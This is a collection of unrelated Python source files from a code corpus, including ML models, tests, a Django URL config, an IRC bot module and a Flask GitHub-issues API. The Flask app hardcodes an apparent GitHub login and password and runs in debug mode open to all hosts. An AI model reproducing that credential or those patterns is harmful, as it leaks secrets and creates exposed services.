__init__(self,n_classes):\n super(BertBaseUncased, self).__init__()\n self.bert = transformers.BertModel.from_pretrained(config.BERT_PATH)\n self.bert_drop = nn.Dropout(0.3)\n self.out = nn.Linear(self.bert.config.hidden_size,n_classes)\n\n def forward(self,input_ids,attention_mask):\n _, pooled_output = self.bert(\n input_ids = input_ids,\n attention_mask = attention_mask\n )\n\n output = self.bert_drop(pooled_output)\n return self.out(output)\n\n\n\n\n","sub_path":"Machine_Learning_Projects/NLP/Sentiment_Classification_with_BERT/src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"147101080","text":"import os\r\nimport sys\r\nConfigDirectory = \"Config\"\r\nDirectorys = [\"Framework\", \"Support\"]\r\nModules = [\"Application\", \"Communication\", \"Control\", \"Input\", \"Output\"]\r\n\r\n\r\ndef FrameworkInit():\r\n project_path = FetchProjectPath()\r\n CheckProjectIntegrity(project_path)\r\n ProjectPathAppend(project_path)\r\n FrameworkGlobalConstantInit(project_path)\r\n\r\ndef FetchProjectPath():\r\n return os.path.dirname(os.path.realpath(__file__))\r\n\r\ndef CheckProjectIntegrity(path):\r\n for directory_name in Directorys:\r\n directory = '%s%s%s' % (path, os.sep, directory_name)\r\n if not os.path.exists(directory):\r\n raise Exception(\r\n 'Project Integrity check Failed: Missing %s directory.' % directory_name)\r\n for module_name in Modules:\r\n module = '%s%sFramework%s%s' % (path, os.sep, os.sep, module_name)\r\n if not os.path.exists(module):\r\n raise Exception('Project Integrity check Failed: Missing %s module.' % module_name)\r\n\r\ndef ProjectPathAppend(project_path):\r\n for directory_name in Directorys:\r\n directory = '%s%s%s' % (project_path, os.sep, directory_name)\r\n for dirpath, dirnames, filenames in os.walk(directory):\r\n if dirpath not in sys.path:\r\n sys.path.append(dirpath)\r\n\r\ndef ConfigDirectorySet(config_dir_name):\r\n global ConfigDirectory\r\n import FrameworkSupport\r\n config_dir_path = \"%s%s%s\" % (FrameworkSupport.PROJECT_PATH, os.sep, config_dir_name)\r\n if config_dir_path not in sys.path:\r\n sys.path.append(config_dir_path)\r\n ConfigDirectory = config_dir_name\r\n\r\ndef FrameworkGlobalConstantInit(project_path):\r\n import inspect\r\n import FrameworkSupport\r\n FrameworkSupport.EXECUTE_FILE = inspect.getframeinfo(\r\n inspect.currentframe().f_back.f_back.f_back)[0]\r\n FrameworkSupport.PID = os.getpid()\r\n FrameworkSupport.PROJECT_PATH = project_path\r\n FrameworkSupport.PYTHON_PREFIX = os.path.dirname(sys.executable)\r\n FrameworkSupport.PYTHON_EXECUTOR = sys.executable\r\n\r\ndef FrameworkStart(load_plugins):\r\n import Framework\r\n import FrameworkSupport\r\n ALPSDebug.alps_print(\"WSDT Framework v%s Start\" % Framework.VERSION)\r\n ALPSDebug.alps_print(ALPSDebug.LEVEL.DEBUG,\r\n'''Debug Information:\r\n PID = %d\r\n EXECUTE_FILE = \"%s\"\r\n CONFIG_DIR_NAME = \"%s\"\r\n DEBUG_LEVEL = %s\r\n''' % (FrameworkSupport.PID,\r\n FrameworkSupport.EXECUTE_FILE,\r\n ConfigDirectory,\r\n ALPSDebug.LEVEL.reverse_map[ALPSDebug.Debug_Setting.Debug_Print_Level]))\r\n\r\n framework_thread = ALPSThread(threadfunc=getattr(Framework, '__ALPSMODULE__').api_initialize,\r\n threadname='Wireless Tool Framework thread')\r\n initialize_done = ALPSThread.allocate_event()\r\n framework_thread.start(plugins=load_plugins, initialize_done=initialize_done)\r\n if initialize_done.wait(30) and framework_thread.thread_func_ret:\r\n for plugin in load_plugins:\r\n ALPSDebug.alps_error(\"Plugin[%s] is not found\" % plugin)\r\n ALPSDebug.alps_print(\"WSDT Framework initialized done\")\r\n\r\ndef hideConsoleWindow():\r\n import ctypes\r\n whnd = getattr(ctypes.windll.kernel32, \"GetConsoleWindow\")()\r\n if whnd != 0:\r\n ctypes.windll.user32.ShowWindow(whnd, 0)\r\n getattr(ctypes.windll.kernel32, \"CloseHandle\")(whnd)\r\n\r\ndef logFileRecordStart(path):\r\n ALPSDebug.EnableLogFile(path)\r\n\r\ndef logSocketStart(type_str, ip, port):\r\n ALPSDebug.Debug_Log_Socket_Type = type_str\r\n ALPSDebug.EnableSocketLog(ip, port)\r\n\r\ndef start(load_plugins,\r\n hideConsole=False,\r\n logSocketOutput=None,\r\n logSocketType='UDP',\r\n logFileOutput=None,\r\n configDirecotryName=ConfigDirectory):\r\n\r\n ConfigDirectorySet(configDirecotryName)\r\n\r\n if hideConsole:\r\n if os_system == OS_WINDOWS:\r\n hideConsoleWindow()\r\n else:\r\n ALPSDebug.alps_print(ALPSDebug.LEVEL.ERROR,\r\n \"The hideConsole parameter can be only used in Windows\")\r\n\r\n logFileRecordStart(logFileOutput)\r\n\r\n if logSocketOutput:\r\n ip_addr, port = logSocketOutput.split(\":\")\r\n logSocketStart(logSocketType, ip_addr, int(port))\r\n\r\n FrameworkStart(load_plugins)\r\n\r\nFrameworkInit()\r\nfrom ALPSCommon import *\r\n","sub_path":"WLAN Software Development Test Tool/WSDT/FrameworkStarter.py","file_name":"FrameworkStarter.py","file_ext":"py","file_size_in_byte":4330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"90294055","text":"from django.contrib import admin\nfrom django.conf.urls import patterns, url, include\nfrom storeys.views import StoreysView\nfrom storeys.utils import urlref\nfrom django.views.generic.base import TemplateView\n\n\n\nurlpatterns = patterns(\n 'test',\n url(r'^admin/', include(admin.site.urls)),\n url(r'^test_success_1/', include('test_dir.additional_app.urls')),\n url(r'^additional_app2/', include('test_dir.additional_app2.urls')),\n url(r'^test_success_2_(?P[0-9]+)$',\n StoreysView.as_view(\n template_name='storeys_urls_js/main.html',\n prerender_content='receipts/actions.htm'\n ),\n name='receipts-index-view'\n ),\n url(r'^test_3_(?P[0-9]+)$',\n StoreysView.as_view(\n template_name='storeys_urls_js/main.html',\n prerender_content='receipts/actions.htm'\n ),\n name='test_exclude'\n ),\n)\n\n\nnon_exported_urlpatterns = (\n urlref(module_name='admin.site.urls'),\n urlref(module_name='test_dir.additional_app2.urls'),\n urlref(name='test_exclude')\n)\n","sub_path":"test_dir/storeys/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"484139659","text":"# -*- coding: utf-8 -*-\n\n\nfrom unittest import TestCase\nfrom effectivepython.chapter2.function import *\n\n\nclass TestDivide(TestCase):\n def test_divide(self):\n self.assertRaises(ValueError, lambda: divide(2, 0))\n try:\n result = divide(5, 2)\n except ValueError:\n print(\"Invalid inputs\")\n else:\n print(\"Result is %.1f\" % result)\n\n def test_sort_priority(self):\n numbers = [8, 3, 1, 2, 5, 4, 7, 6]\n group = {2, 3, 5, 7}\n result = sort_priority(numbers, group)\n self.assertEquals(result, [2, 3, 5, 7, 1, 4, 6, 8])\n self.assertEquals(sort_priority2(numbers, group), True)\n\n def test_index_words(self):\n address = 'Four score and seven years ago ...'\n self.assertEquals(index_words(address)[:3], [0, 5, 11])\n result = index_words_iter(address)\n self.assertEquals(next(result), 0)\n self.assertEquals(next(result), 5)\n\n def test_normalize(self):\n visits = [15, 35, 80]\n percentages = normalize(visits)\n self.assertEquals([11.538461538461538, 26.923076923076923, 61.53846153846154], percentages)\n\n def test_read_visits(self):\n data_path = 'data.txt'\n result = read_visits(data_path)\n self.assertEquals([15, 35, 80], list(result))\n\n\n def test_normalize_copy(self):\n visits = [15, 35, 80]\n percentages = normalize_copy(visits)\n print(percentages)\n\n def test_normalize_func(self):\n data_path = 'data.txt'\n result = norvalize_func(lambda: read_visits(data_path))\n print(result)\n\n def test_norvalize_defensive(self):\n visits = [15, 35, 80]\n self.assertRaises(TypeError, lambda: normalize_defensive(iter(visits)))","sub_path":"test/chapter2/test_function.py","file_name":"test_function.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"395978065","text":"\n\nclass BaseUtil:\n\n def __init__(self):\n self.language = 'en'\n self._errors = []\n self._util_name = ''\n self._form = None\n self._user = None\n self._message_info = {}\n self.__form = None\n self._object = None\n\n #\n # HELPER METHODS\n #\n\n def return_list(self, l):\n if len(l) > 0:\n return l\n return []\n\n def remove_notifications(self, obj):\n if self._user:\n if self._user.groups.filter(name='staff').exists():\n obj.notified = False\n obj.tab_notified = ''\n obj.save()\n elif self._user.groups.filter(name='client').exists():\n obj.staff_notified = False\n obj.staff_tab_notified = ''\n obj.save()\n\n #\n # ERROR METHODS\n #\n\n def get_errors(self):\n return self._errors\n\n def get_error_message(self):\n msg = ''\n for x in self._errors:\n msg += x + '\\n'\n return msg\n\n def add_error(self, err):\n msg = self._util_name + ': ' + err\n self._errors.append(msg)\n\n def add_form_errors(self, form=None):\n if form:\n f = form\n else:\n f = self._form\n for key, value in f.errors.items():\n for x in value:\n msg = key + ': ' + x\n self.add_error(msg)\n self.save_form(f)\n\n def add_error_list(self, l):\n for x in l:\n if x not in self._errors:\n self._errors.append(x)\n\n def has_errors(self):\n return len(self._errors) > 0\n\n #\n # FORM METHODS\n #\n\n def validate_form(self):\n if self._form:\n if self._form.is_valid():\n self._object = self._form.save()\n return True\n else:\n self.add_form_errors()\n return False\n self.add_error('Form is empty.')\n return False\n\n def save_form(self, form=None):\n self.__form = (form if form else self._form)\n\n def get_form(self):\n return self.__form\n\n def get_form_errors(self):\n if self.__form:\n return self.__form.errors\n return {}\n\n\n\n\n\n\n","sub_path":"home/util_base.py","file_name":"util_base.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"624195176","text":"#!/usr/bin/env python\n# coding=utf-8\nfrom __future__ import unicode_literals, absolute_import, print_function, division\n\n# sopel imports\nimport sopel.module\n\n\n# imports for system and OS access, directories\nimport os\nimport sys\n\n# imports based on THIS file\nmoduledir = os.path.dirname(__file__)\nshareddir = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))\nsys.path.append(shareddir)\nfrom BotShared import *\nimport re\n\n\ncomdict = {\n \"author\": \"dysonparkes\",\n \"contributors\": [],\n \"description\": \"A tool for converting weights\",\n 'privs': [],\n \"example\": \".weight 24 kg\",\n \"exampleresponse\": \"Instigator: 24.00kg = 52 pounds 14.58 ounces\",\n }\n\n\n\"\"\"\nBased on the default units module.\n\"\"\"\n\n\nfind_mass = re.compile(r'([0-9]*\\.?[0-9]*)[ ]*(lb|lbm|pound[s]?|ounce|oz|(?:kilo|)gram(?:me|)[s]?|[k]?g)', re.IGNORECASE)\n\n\n@sopel.module.commands('weight', 'mass')\ndef mainfunction(bot, trigger):\n \"\"\"Check to see if the module is enabled.\"\"\"\n botcom = bot_module_prerun(bot, trigger)\n if not botcom.modulerun:\n return\n\n if not botcom.multiruns:\n execute_main(bot, trigger, botcom)\n else:\n # IF \"&&\" is in the full input, it is treated as multiple commands, and is split\n commands_array = spicemanip.main(botcom.triggerargsarray, \"split_&&\")\n if commands_array == []:\n commands_array = [[]]\n for command_split_partial in commands_array:\n botcom.triggerargsarray = spicemanip.main(command_split_partial, 'create')\n execute_main(bot, trigger, botcom)\n\n botdict_save(bot)\n\n\ndef execute_main(bot, trigger, botcom):\n \"\"\"Convert mass.\"\"\"\n try:\n source = find_mass.match(trigger.group(2)).groups()\n except (AttributeError, TypeError):\n bot.reply(\"That's not a valid mass unit.\")\n return NOLIMIT\n unit = source[1].lower()\n numeric = float(source[0])\n metric = 0\n if unit in (\"gram\", \"grams\", \"gramme\", \"grammes\", \"g\"):\n metric = numeric\n elif unit in (\"kilogram\", \"kilograms\", \"kilogramme\", \"kilogrammes\", \"kg\"):\n metric = numeric * 1000\n elif unit in (\"lb\", \"lbm\", \"pound\", \"pounds\"):\n metric = numeric * 453.59237\n elif unit in (\"oz\", \"ounce\"):\n metric = numeric * 28.35\n\n if metric >= 1000:\n metric_part = '{:.2f}kg'.format(metric / 1000)\n else:\n metric_part = '{:.2f}g'.format(metric)\n\n ounce = metric * .035274\n pound = int(ounce) // 16\n ounce = ounce - (pound * 16)\n\n if pound > 1:\n stupid_part = '{} pounds'.format(pound)\n if ounce > 0.01:\n stupid_part += ' {:.2f} ounces'.format(ounce)\n else:\n stupid_part = '{:.2f} oz'.format(ounce)\n\n bot.reply('{} = {}'.format(metric_part, stupid_part))\n","sub_path":"Modules/Tools/SpiceBot/Weight.py","file_name":"Weight.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"456922670","text":"from functools import partial\n\nimport pytest\nimport numpy as np\nfrom numpy.testing import assert_allclose\nfrom solarforecastarbiter.metrics import deterministic\n\n\n@pytest.fixture\ndef error_func_deadband():\n return partial(deterministic.error_deadband, deadband=0.05)\n\n\n@pytest.mark.parametrize('deadband,expected', [\n (0., [1, 0, 0, 0, 0]),\n (0.1, [1, 0, 0, 0, 1]),\n (1., [1, 0, 1, 0, 1]),\n])\ndef test_deadband_mask(deadband, expected):\n obs = np.array([0, 0, 1, 0, 1.])\n fx = np.array([0, 1, 0, 1.05, 0.95])\n expected = np.array(expected, dtype=bool)\n out = deterministic.deadband_mask(obs, fx, deadband)\n assert_allclose(out, expected)\n\n\ndef test_error():\n obs = np.array([2, 1, 0.])\n fx = np.array([1, 2, 0.])\n expected = np.array([-1, 1, 0.])\n out = deterministic.error(obs, fx)\n assert_allclose(out, expected)\n\n\n@pytest.mark.parametrize('deadband,expected', [\n (0., [0, 1, -1, 1.05, -0.05]),\n (0.1, [0, 1, -1, 1.05, 0]),\n (1., [0, 1, 0, 1.05, 0]),\n])\ndef test_error_deadband(deadband, expected):\n obs = np.array([0, 0, 1, 0, 1.])\n fx = np.array([0, 1, 0, 1.05, 0.95])\n expected = np.array(expected)\n out = deterministic.error_deadband(obs, fx, deadband)\n assert_allclose(out, expected)\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n (np.array([0, 1, 2]), np.array([0, 1, 2]), 0.0),\n (np.array([0, 1, 2]), np.array([0, 1, 1]), 1 / 3),\n (np.array([0, 1, 2]), np.array([0, 1, 3]), 1 / 3),\n])\ndef test_mae(obs, fx, value):\n mae = deterministic.mean_absolute(obs, fx)\n assert mae == value\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n (np.array([0, 1, 2]), np.array([0, 1, 2]), 0.0),\n (np.array([0, 1, 2]), np.array([1, 0, 2]), 0.0),\n (np.array([0, 1, 2]), np.array([1, 2, 3]), 1.0),\n (np.array([0, 1, 2]), np.array([1, 3, 4]), (1 + 2 + 2) / 3),\n (np.array([5, 5, 5]), np.array([4, 4, 4]), -1.0),\n (np.array([5, 5, 5]), np.array([4, 3, 3]), -(1 + 2 + 2) / 3),\n])\ndef test_mbe(obs, fx, value):\n mbe = deterministic.mean_bias(obs, fx)\n assert mbe == value\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n (np.array([0, 1]), np.array([0, 1]), 0.0),\n (np.array([0, 1]), np.array([1, 2]), 1.0),\n (np.array([1, 2]), np.array([0, 1]), 1.0),\n])\ndef test_rmse(obs, fx, value):\n rmse = deterministic.root_mean_square(obs, fx)\n assert rmse == value\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n (np.array([1, 1]), np.array([2, 2]), 100.0),\n (np.array([2, 2]), np.array([3, 3]), 50.0),\n (np.array([1, 2]), np.array([1, 2]), 0.0),\n])\ndef test_mape(obs, fx, value):\n mape = deterministic.mean_absolute_percentage(obs, fx)\n assert mape == value\n\n\n@pytest.mark.parametrize(\"obs,fx,norm,value\", [\n (np.array([0, 1, 2]), np.array([0, 1, 2]), 55, 0.0),\n (np.array([0, 1, 2]), np.array([0, 1, 1]), 20, 1 / 3 / 20 * 100),\n])\ndef test_nmae(obs, fx, norm, value):\n nmae = deterministic.normalized_mean_absolute(obs, fx, norm)\n assert nmae == value\n\n\n@pytest.mark.parametrize(\"obs,fx,norm,value\", [\n (np.array([0, 1, 2]), np.array([0, 1, 2]), 55, 0.0),\n (np.array([0, 1, 2]), np.array([1, 0, 2]), 20, 0.0),\n (np.array([0, 1, 2]), np.array([1, 3, 4]), 7, (1 + 2 + 2) / 3 / 7 * 100),\n (np.array([5, 5, 5]), np.array([4, 4, 4]), 2, -1.0 / 2 * 100),\n (np.array([5, 5, 5]), np.array([4, 3, 3]), 2, -(1 + 2 + 2) / 3 / 2 * 100),\n])\ndef test_nmbe(obs, fx, norm, value):\n nmbe = deterministic.normalized_mean_bias(obs, fx, norm)\n assert nmbe == value\n\n\n@pytest.mark.parametrize(\"obs,fx,norm,value\", [\n (np.array([0, 1, 2]), np.array([0, 1, 2]), 1.0, 0.0),\n (np.array([0, 1, 2]), np.array([0, 1, 2]), 55.0, 0.0),\n (np.array([0, 1]), np.array([1, 2]), 1.0, 100.0),\n (np.array([0, 1]), np.array([1, 2]), 100.0, 1.0),\n])\ndef test_nrmse(obs, fx, norm, value):\n nrmse = deterministic.normalized_root_mean_square(obs, fx, norm)\n assert nrmse == value\n\n\n@pytest.mark.parametrize(\"obs,fx,ref,value\", [\n (np.array([0, 1]), np.array([0, 2]), np.array([0, 1]), np.NINF),\n (np.array([0, 1]), np.array([0, 1]), np.array([0, 1]), 0.0),\n (np.array([0, 1]), np.array([0, 2]), np.array([0, 2]), 0.0),\n (np.array([0, 1]), np.array([0, 2]), np.array([0, 3]), 0.5),\n])\ndef test_skill(obs, fx, ref, value):\n s = deterministic.forecast_skill(obs, fx, ref)\n assert s == value\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n (np.array([0, 1]), np.array([0, 1]), 1.0),\n (np.array([1, 2]), np.array([-1, -2]), -1.0),\n])\ndef test_r(obs, fx, value):\n r = deterministic.pearson_correlation_coeff(obs, fx)\n assert r == value\n\n\n@pytest.mark.parametrize(\"obs,fx\", [\n # len(obs) < 2 or len(fx) < 2\n (np.array([0]), np.array([1])),\n\n # len(obs) != len(fx)\n (np.array([0, 1, 2]), np.array([0, 1, 2, 3])),\n (np.array([2, 3, 4]), np.array([2, 3, 5, 6])),\n])\ndef test_r_nan(obs, fx):\n r = deterministic.pearson_correlation_coeff(obs, fx)\n assert np.isnan(r)\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n (np.array([0, 1]), np.array([0, 1]), 1.0),\n (np.array([1, 2, 3]), np.array([2, 2, 2]), 0.0),\n])\ndef test_r2(obs, fx, value):\n r2 = deterministic.coeff_determination(obs, fx)\n assert pytest.approx(r2) == value\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n (np.array([0, 1]), np.array([0, 1]), 0.0),\n (np.array([0, 2]), np.array([0, 4]), 1.0),\n (np.array([0, 2]), np.array([0, 6]), 2.0),\n])\ndef test_crmse(obs, fx, value):\n crmse = deterministic.centered_root_mean_square(obs, fx)\n assert crmse == value\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n ([0, 1], [0, 1], 0.0),\n ([1, 2], [1, 2], 0.0),\n ([0, 1], [0, 2], 0.5),\n ([0, 1, 2], [0, 0, 2], 1.0 / 3.0),\n])\ndef test_ksi(obs, fx, value):\n ksi = deterministic.kolmogorov_smirnov_integral(obs, fx)\n assert pytest.approx(ksi) == value\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n ([0, 1], [0, 1], 0.0),\n ([1, 2], [1, 2], 0.0),\n ([0, 1, 2], [0, 0, 2], 1 / 3 / (1.63 / np.sqrt(3) * 2) * 100),\n])\ndef test_ksi_norm(obs, fx, value):\n ksi = deterministic.kolmogorov_smirnov_integral(\n obs, fx, normed=True\n )\n assert pytest.approx(ksi) == value\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n ([0, 1], [0, 1], 0.0),\n ([1, 2], [1, 2], 0.0),\n ([0, 1, 2, 3, 4], [0, 0, 0, 0, 0], 0.8 - 1.63 / np.sqrt(5)),\n])\ndef test_over(obs, fx, value):\n ov = deterministic.over(obs, fx)\n assert ov == value\n\n\n@pytest.mark.parametrize(\"obs,fx,value\", [\n (np.array([0, 1]), np.array([0, 1]), 0.0),\n (np.array([1, 2]), np.array([1, 2]), 0.0),\n (\n np.array([0, 1, 2]),\n np.array([0, 0, 2]),\n 1/4 * (1/3 + 0 + 2 * np.sqrt(1/3))\n ),\n])\ndef test_cpi(obs, fx, value):\n cpi = deterministic.combined_performance_index(obs, fx)\n assert pytest.approx(cpi) == value\n\n\n@pytest.fixture\ndef deadband_obs_fx():\n obs = np.array([1, 2, 3, 4])\n # 2.1 and 3.8 are outside the 5% deadband on some platforms due to\n # floating point arithmetic errors\n fx = np.array([2, 2.09, 2, 3.81])\n return obs, fx\n\n\n@pytest.mark.parametrize('func,expect,expect_deadband,args', [\n (deterministic.mean_absolute, 0.57, 0.5, []),\n (deterministic.mean_bias, -0.025, 0., []),\n (deterministic.root_mean_square,\n 0.7148776119029046, 0.7071067811865476, []),\n (deterministic.mean_absolute_percentage,\n 35.64583333333333, 33.33333333333333, []),\n (deterministic.normalized_mean_absolute, 5.7, 5.0, [10.]),\n (deterministic.normalized_mean_bias, -0.25, 0., [10.]),\n (deterministic.normalized_root_mean_square,\n 7.148776119029046, 7.071067811865476, [10.]),\n]\n)\ndef test_deadband(func, error_func_deadband, deadband_obs_fx, expect,\n expect_deadband, args):\n obs, fx = deadband_obs_fx\n out = func(obs, fx, *args)\n out_deadband = func(obs, fx, *args, error_fnc=error_func_deadband)\n assert_allclose(out, expect)\n assert_allclose(out_deadband, expect_deadband)\n","sub_path":"solarforecastarbiter/metrics/tests/test_deterministic.py","file_name":"test_deterministic.py","file_ext":"py","file_size_in_byte":7901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"104908023","text":"import os\nfrom flask import Flask\nfrom flask import json\nfrom flask import request\nfrom github import Github\nfrom github import GithubObject\nfrom github import Label\n\n\napp = Flask(__name__)\nyoda = Github(\"glamyoda\", \"blue1289\").get_user()\n\ndef getRepo(reponame):\n for repo in yoda.get_repos():\n if repo.name == reponame:\n return repo\n\n return None\n\ndef options():\n pass\n\n@app.after_request\ndef after_request(response):\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization,Access-Control-Allow-Origin,Access-Control-Allow-Headers')\n response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE')\n return response\n\n@app.route('/repos', methods = ['GET'])\ndef repos():\n return json.dumps([repo.name for repo in yoda.get_repos()])\n\n@app.route('/issues/', methods = ['GET'])\ndef issues(reponame):\n repo = getRepo(reponame)\n return json.dumps([issue.title for issue in repo.get_issues()]) if repo != None else \"Nenhuma issue para o repo \" + reponame\n\n@app.route('/issue/', methods = ['POST'])\ndef issue(reponame):\n repo = getRepo(reponame)\n\n return repo.create_issue(\n title = request.form['title'],\n body = request.form['body'],\n labels = [str(lbl) for lbl in request.form['labels'].split(',')]).title\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.debug = True\n app.run(host = '0.0.0.0', port = port)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"222123383","text":"from erdos.data_stream import DataStream\n\n\nclass RayInputDataStream(DataStream):\n def __init__(self, actor_handle, data_stream):\n super(RayInputDataStream, self).__init__(\n data_type=data_stream.data_type,\n name=data_stream.name,\n labels=data_stream.labels,\n callbacks=data_stream.callbacks,\n completion_callbacks=data_stream.completion_callbacks,\n uid=data_stream.uid)\n self._actor_handle = actor_handle\n\n def setup(self):\n for on_msg_callback in self.callbacks:\n self._actor_handle.register_callback.remote(\n self.uid, on_msg_callback)\n \n for on_watermark_callback in self.completion_callbacks:\n self._actor_handle.register_completion_callback.remote(\n self.uid, on_watermark_callback)\n","sub_path":"erdos/ray/ray_input_data_stream.py","file_name":"ray_input_data_stream.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"436092493","text":"from argparse import ArgumentParser,Action\n\nknown_drivers = ['local','s3']\nclass DriverAction(Action):\n def __call__(self, parser, namespace, values, option_string=None):\n driver, destination = values\n if driver.lower() not in known_drivers:\n parser.error(\"Unknown driver. Available drivers are 'local'\\\n and 'S3'\")\n namespace.driver = driver.lower()\n namespace.destination = destination\n\n\n\ndef create_parser():\n parser = ArgumentParser()\n parser.add_argument('url',help=\"URL of the PostgreSQL database to backup\")\n parser.add_argument('--driver',\n help=\"How and where to store the backup\",\n nargs=2,\n action=DriverAction,\n required=True)\n return parser\n\n","sub_path":"src/pgbackup/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"57559447","text":"import sqlite3\nimport sys\n\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QTableWidgetItem\n\nfrom addEditCoffeeForm_py import AddEditCoffeeForm\n\n\nclass Window(QMainWindow):\n def __init__(self):\n super().__init__()\n uic.loadUi(\"main.ui\", self)\n self.refresh()\n self.initUI()\n\n def refresh(self):\n self.con = sqlite3.connect(\"coffee.sqlite\")\n self.cur = self.con.cursor()\n self.data = list(self.cur.execute(\"SELECT * FROM coffee\").fetchall())\n self.table.setRowCount(len(self.data))\n for i in range(len(self.data)):\n for j in range(len(self.data[i])):\n self.table.setItem(i, j, QTableWidgetItem(str(self.data[i][j])))\n self.con.close()\n\n def initUI(self):\n self.add.clicked.connect(self.do)\n self.change.clicked.connect(self.do)\n\n def do(self):\n button = self.sender().text()\n data = None\n if button == \"Изменить\":\n data = self.data[self.table.currentRow()]\n edit = AddEditCoffeeForm(data)\n edit.show()\n edit.exec()\n self.refresh()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = Window()\n ex.show()\n sys.exit(app.exec())\n","sub_path":"main_py.py","file_name":"main_py.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"401297899","text":"def sixmultssamedigits(n):\n string_rep = sorted(str(n))\n return all(sorted(str(n * mult)) == string_rep for mult in range(2, 7))\n\nnum = 1\n\nwhile True:\n if sixmultssamedigits(num):\n print(num)\n break\n else:\n num += 1\n\n# This answer should be obvious for anyone who has ever typed 1/7\n","sub_path":"Problems 051 - 100/Problem 052.py","file_name":"Problem 052.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"560595376","text":"from inky import InkyPHAT\nfrom PIL import Image, ImageFont, ImageDraw\nfrom font_fredoka_one import FredokaOne\n\n# get inky display variable\ninky_display = InkyPHAT(\"yellow\")\n\n# set inky display border (YELLOW/BLACK/WHITE)\ninky_display.set_border(inky_display.YELLOW)\n\nimg = Image.new(\"P\", (inky_display.WIDTH, inky_display.HEIGHT))\ndraw = ImageDraw.Draw(img)\n\n# decide font and size\nfont = ImageFont.truetype(FredokaOne, 32)\n\n# message to write\nmessage = \"Hello, World!\"\n\n# get width and height of the message to write\nw, h = font.getsize(message)\n\n# The x and y variables will tell the draw.text() function where to place the top left corner of our text\nx = (inky_display.WIDTH / 2) - (w / 2)\ny = (inky_display.HEIGHT / 2) - (h / 2)\n\n# draw message at a starting point, with decided font and colour\ndraw.text((x, y), message, inky_display.YELLOW, font)\n\ninky_display.set_image(img)\ninky_display.show()\n","sub_path":"examples/myTests/test_1.py","file_name":"test_1.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"227587190","text":"import csv\nimport numpy as np\n\nwith open('trainLabels.csv', 'rb') as csvTrainLabels:\n\ttrainLabels = csv.reader(csvTrainLabels, delimiter=',')\n\tlabels = []\n\tfor row in trainLabels:\n\t\tlabels.append(int(row[0]))\n\t# print labels\n\nwith open('trainFeatures.csv', 'rb') as csvTrainFeatures:\n\ttrainFeatures = csv.reader(csvTrainFeatures, delimiter=',')\n\ti = 0\n\tdic = {}\n\tfor row in trainFeatures:\n\t\tdic[tuple(row)] = labels[i]\n\t\ti += 1\n\n# with open('digitsOutput1.csv', 'wb') as csv1:\n# \twriter1 = csv.writer(csv1, delimiter=' ', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n# \twith open('digitsOutput2.csv', 'wb') as csv2:\n# \t\twriter2 = csv.writer(csv2, delimiter=' ', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n# \t\twith open('digitsOutput5.csv', 'wb') as csv5:\n# \t\t\twriter5 = csv.writer(csv5, delimiter=' ', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n# \t\t\twith open('digitsOutput10.csv', 'wb') as csv10:\n# \t\t\t\twriter10 = csv.writer(csv10, delimiter=' ', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n# \t\t\t\twith open('digitsOutput25.csv', 'wb') as csv25:\n# \t\t\t\t\twriter25 = csv.writer(csv25, delimiter=' ', quotechar='|', quoting=csv.QUOTE_MINIMAL)\nwith open('digitsOutput.csv', 'wb') as csvW:\n\twriter = csv.writer(csvW, delimiter=' ', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n\twith open('testFeatures.csv', 'rb') as csvVal:\n\t\tvalFeatures = csv.reader(csvVal, delimiter=',')\n\t\titeration = 0\n\t\tfor valRow in 